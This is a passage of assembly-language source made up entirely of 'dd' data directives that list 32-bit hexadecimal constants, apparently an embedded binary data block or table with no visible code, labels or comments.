dd 0F57D45Eh, 0C1EA585Dh, 41BD44CFh, 0EF108B52h, 2CA02C81h
dd 34606F20h, 0B41DEE77h, 9F9E0DC2h, 6507C1FEh, 0B98045F5h
dd 0EB17F82Dh, 0A0DA22CDh, 0F4CABB1Bh, 3CEB2B7Fh, 4C8E7FACh
dd 0F0253E2h, 0B4B6F609h, 3E0FCEB5h, 69C7E30Ah, 0C78AD779h
dd 54E92FCAh, 7D96FBA0h, 3860846Dh, 0F2B382B3h, 928E2049h
dd 0FDDFA394h, 8A5EF229h, 0A83AE3F9h, 44257760h, 0CEC6883h
dd 0AF8A6BE2h, 0E5A136E0h, 90BB4646h, 0A54B8B13h, 8CE28D7Ah
dd 2F6611AFh, 8397B795h, 2B11ED06h, 1287F054h, 271A6871h
dd 667B4DB4h, 1D5721h, 92A4F020h, 0F41EC86Ch, 0D70954CFh
dd 17AD780Bh, 6B479D0Fh, 2D01DC01h, 0E1EE65E7h, 62DAD908h
dd 0EA609692h, 3F5418E2h, 4B5BD28Ah, 1B2AEB17h, 991975D2h
dd 95968B72h, 6EC9FD28h, 8D132CCBh, 0F68CF1D1h, 0E314C110h
dd 5EF99A58h, 515DC169h, 83C8639h, 8FD3ED6Dh, 2827E510h
dd 948A7F4Eh, 5C850362h, 0DA9EC1ABh, 26CAC5E3h, 97B79623h
dd 96ED1144h, 7BFBF341h, 40414881h, 0CB5C0A4Ch, 47F633Eh
dd 0C4B60CE7h, 2DE866B4h, 0C9BE1595h, 50D578Bh, 0C9BC4BD1h
dd 0A46CE18Dh, 0C04B8A47h, 6143DA37h, 0B4DFBD3Ch, 9D608526h
dd 0BF9FF803h, 630C6CC5h, 345F948Dh, 41090A42h, 91DBEA7Ch
dd 0FEAF8994h, 69D40371h, 4A8E680Ch, 6E5294E6h, 0CFFC25D5h
dd 4C118E7h, 0A0B08D85h, 7B73BB9Ch, 4412DF32h, 0C06FE51Dh
dd 2B47B8FAh, 0CB061898h, 620AB824h, 0AA0CF5Ah, 1F1998E9h
dd 39EC747h, 0E2DB1FE6h, 0CC154481h, 39E5CF04h, 0F1094444h
dd 3F3CACA0h, 4B08401Bh, 0F99AC9C1h, 6DE03864h, 4E291BA9h
dd 684D91F2h, 1582C968h, 32F2CC97h, 0C1143B23h, 0F952C83Ch
dd 209B7D55h, 0EF784820h, 722986DFh, 0F5DB7699h, 4D83A283h
dd 61178F62h, 59C2E027h, 0FE05FA3Ch, 0B545B339h, 0D3500F47h
dd 0B8D15CBDh, 0F0BAF657h, 4B8DD391h, 0F426B5E4h, 892B1C11h
dd 0D860C644h, 0C3739055h, 38DBD0A6h, 251928DFh, 0CF1D3AF5h
dd 0A88A1994h, 0A56AA40Eh, 0C23681AEh, 7B9ED297h, 8CB1C746h
dd 8643F000h, 66C799E3h, 16CAD45Eh, 0AF49955Bh, 3A55693Fh
dd 98AFCC80h, 77A1CF92h, 0B6D71036h, 1F59CEF0h, 0A7991D78h
dd 0B5277BC6h, 134FA5A6h, 1E9325FEh, 0AF1C9279h, 0C80B0E55h
dd 250DF835h, 7080AD4Eh, 0B21CD734h, 3BC14481h, 2268E0D8h
dd 0E450BD51h, 2F08A432h, 3CAB7B2Dh, 0E282C06Ah, 0C3AC203h
dd 0C81886Ah, 871CFAE9h, 0CA7AB36Fh, 35D8BF37h, 0BAF3388Ch
dd 0BBC315D8h, 99F81BC3h, 86642ACEh, 795BB710h, 8654E61Dh
dd 57B0DFC3h, 7275481Ch, 8217428Fh, 5CFBAACBh, 8F826272h
dd 6BBD0C52h, 86B808A4h, 0F5E7816Dh, 46AF27CFh, 0DC636805h
dd 53BC6350h, 87BB4D72h, 0A8CB9CDFh, 785A8D37h, 0D00216FDh
dd 781DD15Bh, 5DF6822Eh, 0C5A87992h, 0BE217311h, 0D5EE9402h
dd 0ECB2F550h, 12DCB893h, 4D294506h, 0A1641719h, 5B4ECF2Fh
dd 0FC783572h, 93B2183Fh, 82A14C48h, 4F1D8DC1h, 1AE48FC1h
dd 330E43FDh, 58CA32EEh, 74A85FD0h, 0E2ED01B3h, 87C9851Bh
dd 95308C3Eh, 23DF9EAEh, 0EB09531Fh, 0E619C7A2h, 0C32E292Ch
dd 1F11F868h, 35076A0Ch, 2AAEEAFCh, 6961A39Eh, 0F41906E7h
dd 717A423Bh, 1E90C195h, 0BEDE6E97h, 7C749F98h, 80686CE7h
dd 59C025D5h, 9942A7EDh, 0F0A9A2FBh, 0A417F388h, 6B4FA2F4h
dd 26441345h, 0A3EB12D3h, 0DE002357h, 2C1FDC89h, 346D4D34h
dd 0E89E03CBh, 879481D0h, 0C462B7D2h, 71B79869h, 6F435F6h
dd 5DEDA81Ch, 5A6F9FC2h, 4674EADAh, 0A39AA33Ch, 0D288EC79h
dd 0C9EAC64Ah, 133897E9h, 0D43A738Dh, 738739E2h, 0A7A28546h
dd 0BB68B1EAh, 0EBD7EEBh, 6BA3AAE1h, 0B6906D32h, 0DDAD337Bh
dd 3B989B41h, 78C7557Fh, 55EFFFE4h, 0F1766449h, 0D0B4380Ch
dd 2745B6B4h, 0BC64750Ah, 5AAB8962h, 1DEB038h, 226663D1h
dd 9155CA2Fh, 5E8A3BA7h
dd 400C068Ah, 0CFB2868Dh, 0DAB8C4BCh, 600E5743h, 71A158Ah
dd 0F1C468D2h, 8D1E537Eh, 2E8D328Fh, 0CE9BA57Ch, 0F68D708Ch
dd 79960629h, 0BFC0DE51h, 206FA31h, 3242115Bh, 0C22EAA9Fh
dd 0E5290285h, 71322CFCh, 21E646C1h, 8CD1FA45h, 9EEAE7B4h
dd 1DE8E935h, 3F52FB70h, 9EF69901h, 3B46CA23h, 9BEB77FBh
dd 0D55C8F9Ah, 0D957EAB4h, 0F15164Ah, 4D832854h, 989B8A56h
dd 1C89AD7h, 0B8456B8Eh, 0EADD3854h, 0A575684Ch, 40C642EBh
dd 4E638AC0h, 0B044AB5Fh, 40D5B90Ah, 0EBD74F50h, 3EF57086h
dd 9D2000CEh, 0DFF146D3h, 4A0F478Ah, 1FD5BCD7h, 0DD410F01h
dd 7140DE1Bh, 0C2E5C2D8h, 9686BD2Ah, 0AAF7942Ah, 72F1F3C3h
dd 0AD5DF7A7h, 5B0ED4ACh, 0E4E8BC2h, 0D483F58h, 638A8501h
dd 0B171E399h, 0DC9BE4C3h, 171BAB69h, 576B4F14h, 65AB7049h
dd 5D289653h, 1C355380h, 2F409C42h, 7CCF330h, 6464B58h
dd 40520000h, 0C6F2CB9Ah, 5F952737h, 0B53728F3h, 0B29BA1EEh
dd 0BDE1A880h, 0AAFA2D59h, 0FD994653h, 535A7477h, 5D053FC4h
dd 4AAC7730h, 93F48989h, 0CA4C807Eh, 66B7916Fh, 9B7F30B5h
dd 8853D409h, 1F35A200h, 0C8F375B2h, 0E52DCAACh, 7D673571h
dd 6743F76Fh, 0FD4CEF2Eh, 0DA4211B1h, 1F276FBAh, 0F845E755h
dd 8056DBEEh, 0D7C0FF4Eh, 0ECB41022h, 6A2A16FBh, 0D37FC6F0h
dd 87BC205h, 4A104FCAh, 920A4BE3h, 37EA9E18h, 3223EEA0h
dd 30D7952Dh, 0F3B816B4h, 0BDDD78C4h, 0ACBAA306h, 90471983h
dd 25355477h, 0E2EA3678h, 221E7C78h, 369056B0h, 8DDCA414h
dd 0D126BB87h, 615817DBh, 869220EFh, 0C9E00667h, 7F1FDC8Ah
dd 0BC529D42h, 25820358h, 301C7051h, 977CDD10h, 1BB6EBBEh
dd 75CBC808h, 43D805C9h, 0C0D9FCFAh, 0CCF510C5h, 1C66EBD0h
dd 0BF24CB4Eh, 96EA2470h, 0B075056Dh, 96899F77h, 5771E815h
dd 0F5674963h, 0D58AB2E3h, 35E5B4FFh, 7E1D2D42h, 79EC4CE7h
dd 4B934C1Bh, 0CE5826F1h, 1AC12EA5h, 1E3F1B76h, 6A33E1C7h
dd 94ECEF65h, 0B8DF481Fh, 0A12B0C61h, 8A5186CFh, 0BB67F72Ch
dd 8B535F9Ch, 0F128C036h, 3169D0DCh, 0D736D836h, 7700823h
dd 21C3C625h, 48E61C7h, 791711F0h, 0A1A44D8Dh, 0E904DDE3h
dd 3ED8C6D2h, 9CC7E18Ch, 0FEC0ABA4h, 7F229DEh, 993400ADh
dd 0CA5291A2h, 48985C39h, 1BBE4470h, 29C74DB9h, 72BCEF48h
dd 0E71D6CDBh, 48FD6F3Ch, 613F3ECFh, 25A76692h, 9E3BCCECh
dd 971DA382h, 0BDC0A698h, 0A8DDA91Ah, 5103C359h, 0BC19867Ch
dd 91989949h, 224893EEh, 5B7AB00Dh, 2A8402CDh, 2CDDB1B4h
dd 0FEA4A173h, 0E6CECB94h, 0EDFE90D2h, 0E69B550Eh, 86C44E44h
dd 0C9B34E92h, 22E20149h, 0CA9A1212h, 1AAA37BAh, 9E72CDAFh
dd 3246FF41h, 0F41F4F0h, 1AE5BC55h, 8E3352DDh, 5F5DB16Dh
dd 0AA64A20Eh, 0C983A7B0h, 55CCC19Ch, 61708B98h, 0FE36C975h
dd 1D9D0EC9h, 8329BA4Ah, 465A18E0h, 0A5BC9A94h, 556797EEh
dd 52AE3256h, 67B4E56Fh, 6C1C8D2Bh, 64F548E4h, 85BDEDDDh
dd 3915AB73h, 9129D5B6h, 98397ED9h, 44A67492h, 56A1260Dh
dd 0A4019C95h, 1F2DC63Bh, 0F3775D78h, 661EA048h, 0E21EB902h
dd 0DA3BF3C5h, 4DD0E197h, 0F1DDA32Dh, 0E20D2523h, 47C07D3Fh
dd 6D68EF78h, 2DAB1514h, 5C7851FDh, 0CECF1E33h, 6DC1D91Ah
dd 41404D27h, 0E8AF9E5Dh, 320BCC24h, 0E377119Fh, 6F5DE58Ch
dd 9A0BBA70h, 0F913FDBFh, 3B40EF9Dh, 61C91FCFh, 0E3DE3778h
dd 0DCFF59FEh, 9AD98D1Dh, 22E68E45h, 7B08DC05h, 0F217F0A3h
dd 7ED072DDh, 0FC330873h, 92B6A15Ch, 97D5BDFFh, 0DE05660Ch
dd 7974190Fh, 0B3704438h, 0A26ABFEDh, 1960E567h, 0EFC5C499h
dd 0AFB14B31h, 0E3EC1F5Ch, 0A85F2B0Dh, 56758BCBh, 5ECC40C7h
dd 230D2E9Ch, 4F9AB2ACh, 1FBEBB4Ah, 65C76829h, 9B7214CBh
dd 0CB6C8048h, 20B3966Bh, 9796F3F9h, 6CB96B2Fh, 3A8B4D9Ch
dd 0DB44ED91h, 0F68EA293h, 9F622110h, 64FB31F3h, 204400A3h
dd 0B8EB495Ah, 3648479Dh, 0D9405C28h, 172E674Ch, 8F3D15FAh
dd 59081AC5h, 94538050h, 0B6330B07h, 2AF02B72h, 0FD6E9C5Ch
dd 313E8F5Ah, 46FF82h, 0C787E368h, 0B0463F7Bh, 26F23FFBh
dd 0C76CC347h, 2E7E75BEh, 1F83CDB5h, 0DE96927Ah, 0CC4CC392h
dd 8E05908Fh, 0BAFF54CAh, 62314A68h, 78F4A4DBh, 46E3A0AAh
dd 0E9564A76h, 8D341A49h, 731B95DCh, 768E2AEBh, 5211C383h
dd 7420C7E4h, 0A3847024h, 0D10534E7h, 0B908205Dh, 0FEBA591h
dd 0AA036513h, 0A05194ECh, 39969F2Bh, 4730C0E9h, 0CB34BD4Ch
dd 60F11F1h, 3CEFEC2Bh, 4DA9FA45h, 660BA7ADh, 0F6AC485Fh
dd 0F8C41407h, 0A74F0EF3h, 4E21009Fh, 0C3D0A5D3h, 0DDFE026Ch
dd 50C6D114h, 0A33F5564h, 0A9C65C8Fh, 0B20F6DF2h, 0FAE2DFEAh
dd 8DBD479Ah, 9C5F8D46h, 0F311C540h, 0EAF17A23h, 0C5360899h
dd 9BC73D5Dh, 0C3946EE1h, 0CCF75529h, 94933447h, 0CDD19677h
dd 86BD44E8h, 0EA27EB47h, 2C7C19ABh, 482D4819h, 7B1F53D5h
dd 0AFBF1F31h, 0D8539DD4h, 0B57F3B68h, 0AEDF1D6Dh, 3318A504h
dd 39F55862h, 0BD60DD9h, 7A47A370h, 0A2821EA1h, 0F9EAF286h
dd 0E9FC1DD6h, 2B8BB74Fh, 0FE825CA5h, 35501D39h, 10054D87h
dd 0F57EF673h, 1E83CB62h, 0D699D422h, 0B04B26D9h, 8B287340h
dd 353C2804h, 5FA02470h, 0DD1D920Ah, 0F01914B1h, 0C2C8C38Bh
dd 7996CAD4h, 0B7429BFBh, 74A83342h, 3EEAD1B9h, 409FB2D7h
dd 0ABBE5A4Dh, 0C981E2E5h, 0FAC2D974h, 49792ECBh, 0D2BB122Eh
dd 0E86DF856h, 77E25E23h, 4DF3E79h, 5F3A33A2h, 4B1803BEh
dd 77909561h, 0F1ABA91h, 44165CABh, 0C3872BFEh, 8D67569h
dd 0E3380B68h, 0F05C94FAh, 0F621EB74h, 18995ABEh, 90EFFE0Bh
dd 80AD4153h, 292B8D26h, 4C2FA56Ah, 57F6F032h, 31EE3CB2h
dd 0C1737276h, 452CF28Ch, 0B811A074h, 0C76B1CE9h, 0E4CC36D8h
dd 0E34F2F31h, 0DA0D10A9h, 0AD10A282h, 3A72ABE5h, 0AF27A180h
dd 7CDB3597h, 0BF977A92h, 7A3690F9h, 0D7F836A7h, 0D8F3FC52h
dd 8D00A07Eh, 91D838B6h, 0E9BE05BCh, 3D97B442h, 0AAA09A7Fh
dd 0BE45582h, 0E7FFBA72h, 0C80B513Bh, 6C4C0B40h, 3FC11EDFh
dd 0F8918A64h, 91DAC3E0h, 4627C3C5h, 0E2B5978Fh, 0EAB5FCE2h
dd 0D5B23054h, 8346BF17h, 70C986Fh, 0F98C977Fh, 0E1228017h
dd 65E96C98h, 0B6471B52h, 93E0FA9Dh, 33E8020h, 47B02248h
dd 0F1FA78B2h, 5851C16Bh, 0BF513FE4h, 0F54C42D4h, 4CE05752h
dd 0A3EAFB56h, 8E3F9308h, 7BC9FF83h, 0C148E367h, 5A901AC8h
dd 9C7AE980h, 8AA44D67h, 4C5ACDDh, 2680DAA1h, 0B7252F65h
dd 0D9602B5Eh, 0D27E39Ch, 0A4E1AB96h, 0EE5ACF88h, 0F7986BEh
dd 0EF63D05Dh, 8BE56C87h, 6F110BD7h, 0DF7C88Eh, 1C977FCEh
dd 5C1C902Fh, 735A346h, 53075C2Dh, 1F53A91Bh, 75A7E2F1h
dd 842162E6h, 38123F43h, 0B8BC3B9Ah, 49EB34DDh, 1D87EDD4h
dd 2431B71Dh, 0CBDF264Eh, 1C83B2DCh, 0E037261Dh, 7215D7ABh
dd 7ADE959Bh, 68379E00h, 4242D8D1h, 4D751A6Dh, 7E5ED721h
dd 1FA6A246h, 0A962FC40h, 6E99A9DFh, 0C9743563h, 3D421928h
dd 3F2C25CAh, 0DFAB83B8h, 5C16A096h, 0C4C592EDh, 3A9D9ADCh
dd 124A6686h, 0BF31574Ah, 187E4E52h, 8FE054F2h, 0A301BF78h
dd 0BD99D3D4h, 0BCB4AFBCh, 63F2AF73h, 0A8F8679Fh, 0F28EA935h
dd 0AF21D832h, 483BCF0Ch, 60B48928h, 1AB305AEh, 8D96A479h
dd 0D5E8D826h, 621F2F75h
dd 0E119CB93h, 3DE284EEh, 0CD77357Bh, 5782C8F4h, 73D42592h
dd 0C28866C7h, 8D672C42h, 95A11B08h, 49396966h, 37EA7E90h
dd 0CCD186C0h, 74E7DDB2h, 0A90B4947h, 9486291Ah, 955AA09Dh
dd 79757B1Fh, 4B0DC7A3h, 3386090Bh, 2E2D6530h, 8043E446h
dd 2FBA17DAh, 0A4777A32h, 252823BAh, 27112E09h, 0DC8C3D8Ah
dd 45AC2B51h, 0BC5161C9h, 0F9F55F9Dh, 0EA91AECBh, 0DBBDAFFCh
dd 6DA02B2Ah, 9175F10Eh, 92490240h, 0A89C6CF3h, 0E674C26h
dd 6DB64B7Ch, 3E5DE137h, 3F1F3D6Bh, 7E6C4DDDh, 2334D50Dh
dd 0BD1AE966h, 0EBBA2808h, 79974245h, 0C67688D4h, 0D6139407h
dd 0B7EC11D8h, 493B8E18h, 0D63D0D5Ch, 0D9729FC7h, 0FE3E2D3Eh
dd 0F9FDF60Ah, 0D2C90DB1h, 0C2E9C314h, 3BE06655h, 6C7FF0C5h
dd 9296B3Ah, 2E0429E2h, 0A8E29B6Ch, 0D1B75DF3h, 91C3B0A5h
dd 0CA227604h, 7F21994Ah, 42A97E6Bh, 1AF28F01h, 32692984h
dd 2611E785h, 0A65AF873h, 0D90E581Bh, 53B2D0A1h, 68EB17EEh
dd 244ED006h, 0D4EF8CFDh, 527F8624h, 0CAEFECF3h, 8FC514FAh
dd 9D8BBF81h, 0A42A82CAh, 0CBDADC97h, 0B291CB7Fh, 0EA40D7C2h
dd 0AC32A097h, 8D259296h, 0A8EB9049h, 1ACA63E0h, 0E8BD9A49h
dd 64EAF6B5h, 0FDAF4DABh, 0CCFD87D4h, 786CD1D1h, 5255752Dh
dd 535392A5h, 5B59AAB8h, 0F338AAA3h, 353C6E5Ah, 0F0DC9713h
dd 53EC8D9Bh, 0D119393h, 28FF58F5h, 0F7766281h, 0E823561Eh
dd 477D3BACh, 0D5E4D5B5h, 69EF6430h, 0AA36D241h, 49895D89h
dd 0E6F2A4C8h, 1C000489h, 0CBCE3CAh, 78DE1E02h, 1DB264F1h
dd 4D3418FFh, 90D89595h, 3927C9E0h, 2B7D0294h, 0C4F20F14h
dd 56CC9436h, 189AD476h, 0A97D7CEBh, 0B0A8E36Ah, 0CD1FEE34h
dd 0DA296FC3h, 0E89D4E33h, 12924A25h, 92952226h, 0F689A7C8h
dd 3CBA6C74h, 260E16BAh, 9C2D43B8h, 363BA3B7h, 650D28ECh
dd 0A2DB8ED2h, 569FC9DCh, 760BE262h, 5638D0C1h, 0FDD64B79h
dd 576DB6F5h, 0E21C4EDCh, 7AA2BCEEh, 8ABEDD18h, 0B42B9301h
dd 79DE3735h, 87A17DAFh, 7B05191Ch, 0E69C95C1h, 4C204D65h
dd 59338532h, 0FEDFDBD1h, 0B1ABC339h, 9B492FC4h, 613310D9h
dd 0D11538C3h, 8023ACB1h, 0A37A7886h, 0F12EBF3Eh, 34344369h
dd 0A8EC9754h, 80AE7FB1h, 0B74555A8h, 65E98300h, 0C619DABEh
dd 4AA8915Ah, 27CE497Eh, 0B8CE0C14h, 9BC51D0Dh, 0FE6979ACh
dd 1C4AA2F9h, 745044F9h, 0B0C37B9Eh, 0F5B5516Bh, 0B66EA0BBh
dd 0B31C3716h, 2EBFA6A5h, 0E57AE4FBh, 0D900FF5Dh, 50E2D313h
dd 38DC399Eh, 0B757D481h, 834A49C1h, 6E278E30h, 0D0CE0050h
dd 5E6E843Dh, 0B3E57F31h, 0E06E3437h, 48FEE69Dh, 0C616F93Eh
dd 0F8149332h, 0AF2D9C4Eh, 4092DB81h, 0CF99BB59h, 0FE8F2EF3h
dd 0E71E1F50h, 0E6AE9665h, 14BAABA1h, 0FDD4F6B2h, 0D4B10035h
dd 4ECB381Ch, 0ACEBC3h, 0B4B543B2h, 7E2DA587h, 4C7162C5h
dd 6BEE2E86h, 0C912184h, 6A2BCF9Dh, 2D3067B7h, 5777FBA6h
dd 0D85F3A62h, 4C4E56F8h, 0E7F77A9h, 42B3D49Dh, 787433C5h
dd 33BEAFEDh, 0C2036463h, 0CED586ACh, 5AC559D2h, 0A756B11h
dd 0DD1CBCB0h, 87CF6061h, 0A6949D56h, 0B5856821h, 62EF3D21h
dd 0EEBF7F17h, 16A06073h, 571EF6A2h, 9B186940h, 78093613h
dd 0E4695299h, 0D8155E00h, 0A03A34A5h, 940B8010h, 2CC33DC0h
dd 0BCEB2E38h, 13112811h, 0B8BC2CD0h, 0F0890A12h, 58DD5EDh
dd 0C13B0A4Fh, 0FE28893Ch, 3F5F0756h, 94CDEFCFh, 69AA4C05h
dd 0C81120Ah, 84170AC6h, 4A31E0E3h, 4F2D063h, 0A99E2D9Ah
dd 68333250h, 825328EBh, 3D7268Dh, 56CDFA4Dh, 44FBFC13h
dd 0F2B7D8AFh, 0B5E45E75h, 40D090E3h, 0A2CA623Ch, 0CCCA66h
dd 650F7017h, 56FAD496h, 16BE6194h, 9541D9BAh, 12704297h
dd 0C97DFCEFh, 4657A91Ah, 5DED88C7h, 609A1F0Dh, 92F75F1Eh
dd 24097812h, 94EF6BF1h, 15D666ADh, 5F9CF897h, 519B34F4h
dd 14F17196h, 0E9D058F8h, 0C72D56EDh, 2172A30h, 62FF673h
dd 0CA75228h, 8E8ADD69h, 0DAE7D08Bh, 15B98C45h, 32A227DEh
dd 0C1C6D811h, 3FF5C240h, 9B3B1342h, 0C3BFE1D3h, 0CFFBD00Bh
dd 6C0E4028h, 0EA52496h, 4F4F89D1h, 673E1EADh, 78716AF7h
dd 24355081h, 19ACEDBFh, 2E6F3B97h, 0CBCA0DC7h, 5CE38BAEh
dd 0E148C1E9h, 0D9E4A48Ah, 6D039FBFh, 1119C4B8h, 333EA6D4h
dd 69FCFF16h, 0F1483DEEh, 0F4B1A40Fh, 532EBAEEh, 10DA5F41h
dd 0BC16159Fh, 0AF0B9E5Bh, 55AC84E9h, 0FD7132A1h, 29F841B4h
dd 3A911A8Fh, 0F1D39DD8h, 65B13A3Ch, 24AACB45h, 0DB089948h
dd 9F3BAA13h, 555EB7C1h, 62ACFD6Eh, 5DA2FA3Ch, 65A9EC8Eh
dd 3FBCADA1h, 0C3E0948Eh, 0C1CDBFA5h, 399E5420h, 84C2ACD9h
dd 2C32946Dh, 4DE05E2Ah, 321EE375h, 23C8EC04h, 1E53E1A0h
dd 0AD058FC6h, 0DF5A8F76h, 73C9334h, 0D3EB166Fh, 6C48BF80h
dd 5AE358E0h, 79611342h, 0EDAEC305h, 5CF729Bh, 5858B0E2h
dd 845C8180h, 197941B8h, 6193C689h, 3AA9241Fh, 0D7BE1B8Eh
dd 0B980A765h, 0B68CCA64h, 0D96DE981h, 0C16A26C6h, 34394256h
dd 91CCDE0Ch, 0AB5F227Bh, 146CAE8h, 0EE2725FBh, 0DF0AE487h
dd 5C818BC9h, 0FB82B003h, 42EB5179h, 53D13752h, 543D9AC0h
dd 1EEDF4B6h, 0D345B369h, 0DB6F87E1h, 0AF7F0B5Bh, 0A15FCE8Eh
dd 5CCD90D3h, 0F0CA6498h, 0F72DD273h, 0C08B9DD4h, 82DCE498h
dd 877C136h, 93BA2E5Fh, 7130163Ah, 4137FD3Fh, 2F98B7B3h
dd 6F4A5873h, 72AD0CD9h, 0D99EEDCFh, 0B5DAE194h, 8BEFEE0Eh
dd 0D5E686F6h, 4184E398h, 7090586Eh, 2E9854B8h, 0FC1097B7h
dd 13F42005h, 0A6F4A2C9h, 4B2D4F63h, 0FD09409h, 0DCF3D9B9h
dd 0BB32E5E8h, 0B5ADE68Dh, 0E5F74BEFh, 0C7FE3588h, 84B799ACh
dd 0D100DBC1h, 0A3F5241Ah, 4FD567BDh, 0EE2F422Dh, 42BF02A6h
dd 8827E024h, 251F6D16h, 77A05B98h, 10F7DF3Dh, 2250FD9Bh
dd 0EB50E168h, 780ADD12h, 0F640459Bh, 6FCD8CD2h, 5A86FAD6h
dd 2EA94CAAh, 7F5C96D6h, 442AABF9h, 0DF6F942Bh, 2D1A0B80h
dd 57F5E05Ah, 0D25526C2h, 43D1088Fh, 0FE5E7CEFh, 0E4959CCDh
dd 8686518h, 0E8BED196h, 6D1495B6h, 0F983A3CFh, 35DBD992h
dd 405D734Fh, 8C0E0274h, 4C9E8E0Bh, 0CF0F7D6Ah, 58C7DE4Fh
dd 0D9BA989Ah, 1D30CE8Dh, 6B93FF06h, 4FDD9E0Ch, 0DB300BFBh
dd 0AF64E089h, 0E0A2371Bh, 0B69BDDh, 0EEC7BDCFh, 0BEBBE948h
dd 6C89B0CEh, 3B279321h, 0D965B806h, 32492F46h, 0E248AD82h
dd 0F4D92D69h, 6550977Bh, 0E4D452ACh, 28355928h, 0A7AECE13h
dd 61938D3Eh, 2FD59E01h, 0E14DF6B4h, 8AB19AF2h, 0DE5BCA20h
dd 5654D12Ch, 0EC9944C8h, 2F9D52A5h, 0DF51CD94h, 0B87C1DD2h
dd 66B0B58Fh, 0C7BCF86Ah, 4D1F44DBh, 0C4348998h, 0AAFD9555h
dd 8078AC12h, 607AB1AEh, 435BEDC8h, 2CAFABD5h, 0CA8A722Fh
dd 27B85E47h, 8BCD167Eh, 0C2662223h, 5A587668h, 6886836Eh
dd 9B2C2529h, 26A4DD34h, 0BC86CAC3h, 9DC7E5AFh, 5450AA55h
dd 0A053F23Fh, 0D1B9BC4Bh, 643CB6C7h, 0FF5DB885h, 1FCB0C7Bh
dd 0EBB45004h, 0A712FE1Dh, 94CD4A42h, 0BE487543h, 0D3A6099Dh
dd 87E4FEA5h, 8C08046h, 4BBBB08Dh, 8E15ABC6h, 0A553D7B8h
dd 2235C697h, 0B958821Eh, 0DA742AAAh, 5CA333C2h, 5D287147h
dd 0F62339AFh, 0BEA8049Ah, 0E19535B6h, 0B3DA30CBh, 414B791h
dd 0BF0328DBh, 68CE9F4Dh, 93969915h, 0C8D102BDh, 77012B12h
dd 0B8C042EBh, 4BB5AEC8h
dd 0FE504873h, 800D8957h, 5F2401ADh, 6FC2D0A3h, 524F90AEh
dd 5B333913h, 0D6FAE5F6h, 847C07F6h, 921CE227h, 821CD2A9h
dd 0C08A24EAh, 0B3BE7E85h, 43DC17ACh, 30389C5Eh, 580FA503h
dd 4B4CEC54h, 0F5076F3Ah, 99C465F6h, 0E9EFE721h, 6229A7A5h
dd 0C9C7EAD4h, 5199F985h, 0AB099783h, 68E9A4Eh, 0B6B5CF23h
dd 0BE41F438h, 0F8EDFB9Ah, 57CEFE55h, 0B820614Dh, 7B88A4F3h
dd 6C8917B6h, 6119543Eh, 160F3F4h, 0CB4EB8F6h, 53D8D8BAh
dd 0E4C0FE24h, 2C87B944h, 7E06Fh, 0D076FE93h, 0E8D996D1h
dd 0CBEA4329h, 5EF0C0D0h, 0FA479F8h, 0D46D97B3h, 2C5B7D69h
dd 8F752E80h, 2E8F1289h, 660230Ah, 65977E51h, 0A173A90Ch
dd 2BD5521Eh, 3C323653h, 9FED9E4Ch, 91D947A6h, 0F01B9AB7h
dd 0FFC46D03h, 9B5F228Ah, 0F0D42B5Bh, 7C5FA8A7h, 0D6F626B4h
dd 0D9062C35h, 0FC89F268h, 1147A27Ah, 0EEFED5A2h, 912B7B62h
dd 59AF5A3h, 237E73F7h, 64C8BCE4h, 8D82AB69h, 0E2DF71F7h
dd 153BCA3Fh, 98380FD9h, 628C7E1h, 0D0E6F172h, 1B4F65AAh
dd 0A9A6CB70h, 21CBE1D5h, 2294569h, 6E75BDEAh, 0A373C5FDh
dd 6E0D4722h, 5CFE0B14h, 0DB242B8Ah, 45BD3840h, 0D5A3C9BFh
dd 3C698385h, 0E44E17C6h, 96628C6Bh, 1D70B570h, 0C1BFB7ADh
dd 0A8902C49h, 0F6EEB6F9h, 0E085D60Bh, 2C07DD2Fh, 0BEF94FAFh
dd 5A23E2CCh, 46277F24h, 7AEE777Bh, 0A975BAA7h, 1587BDA8h
dd 5234B7A0h, 4D960861h, 33D71792h, 0D2DD76B9h, 0DF51C82Dh
dd 6135CE6Ch, 6A7A32EEh, 98D688ECh, 255DD0Ah, 566789E0h
dd 21AB8435h, 0B949F05Dh, 61B9F881h, 464C37B2h, 0E9BC61B1h
dd 93C12D42h, 0CD769DA6h, 238CFFBBh, 0A3267B21h, 0C2C9FE57h
dd 64F6EFC7h, 65381F69h, 5EBAB19Ch, 98F826EAh, 0D4174D4Eh
dd 6219DB97h, 98874920h, 5C9E901Ah, 0C2EBD2D6h, 661ED6CAh
dd 0C0CE525h, 0DBDC71FFh, 741FA293h, 0BA8831B3h, 0A6171355h
dd 0E923AD8Bh, 47652E05h, 0AB50D21Fh, 0D8A4DD30h, 1EA9DD48h
dd 0F867E9FCh, 7E375C27h, 0EE5712B0h, 5E06F6E8h, 0B15539AAh
dd 5D4315C8h, 0B820EF0h, 1190403Dh, 0E751F167h, 0F80B0BEAh
dd 3ECF0D56h, 63D3CB62h, 0B7D380F8h, 700A00CEh, 75E24900h
dd 0BE76E93Ah, 52F01800h, 68871513h, 0D9B3CBD8h, 5BF77A5Fh
dd 2D3F2268h, 66AF5CE5h, 80E3B73Eh, 3FC256CBh, 2EE7BA56h
dd 0D64E47C8h, 0F9BAC5D4h, 0D94DA17Dh, 95FDE7A0h, 0F391218Ah
dd 91C23E34h, 7F7756C0h, 60F0E781h, 0D527CE8Eh, 51412C04h
dd 3E426174h, 0AB35C904h, 0E5672B8Eh, 0A94BAh, 0BB53AA69h
dd 3B0966D8h, 42B6D6B0h, 7B22A0EFh, 7466BF81h, 9C406777h
dd 8B868A2Ch, 1813AB0Dh, 464406BCh, 0E2263177h, 34C38ED8h
dd 9930FD7Ch, 0ECBC58B1h, 0A0F32B51h, 1BD63A63h, 896E2A65h
dd 84A1EB24h, 30F674FCh, 1959034Ah, 8EE02F10h, 941ACC6Fh
dd 0E249EA9Dh, 1BD8DD4Bh, 584838ECh, 13059661h, 85675E1Ah
dd 0B6B3DAAAh, 0BC93B6C1h, 2D57B8DBh, 0F199EF77h, 0C8415376h
dd 67BEF6D7h, 6BC5934Dh, 4B6DD5BDh, 0F9BFBE98h, 7CCBBE8Fh
dd 278C59B6h, 0A46C9B16h, 8C10508Bh, 65F5D6A9h, 0E272A649h
dd 11EDE54Ah, 30656EBBh, 63B1E559h, 7D24E07Dh, 778EF752h
dd 3F421525h, 0F21DBC67h, 0B29F0A50h, 3B63ACBFh, 3C636567h
dd 0AFA131B4h, 71226E13h, 9CD0FB80h, 0ED6DC9EFh, 73A56DE2h
dd 2A2F91Ah, 8351AEA9h, 0BFD7C395h, 7873FF7h, 5701988Dh
dd 2DD46BA9h, 397C8021h, 267474C3h, 56F64DADh, 278A9B8Ch
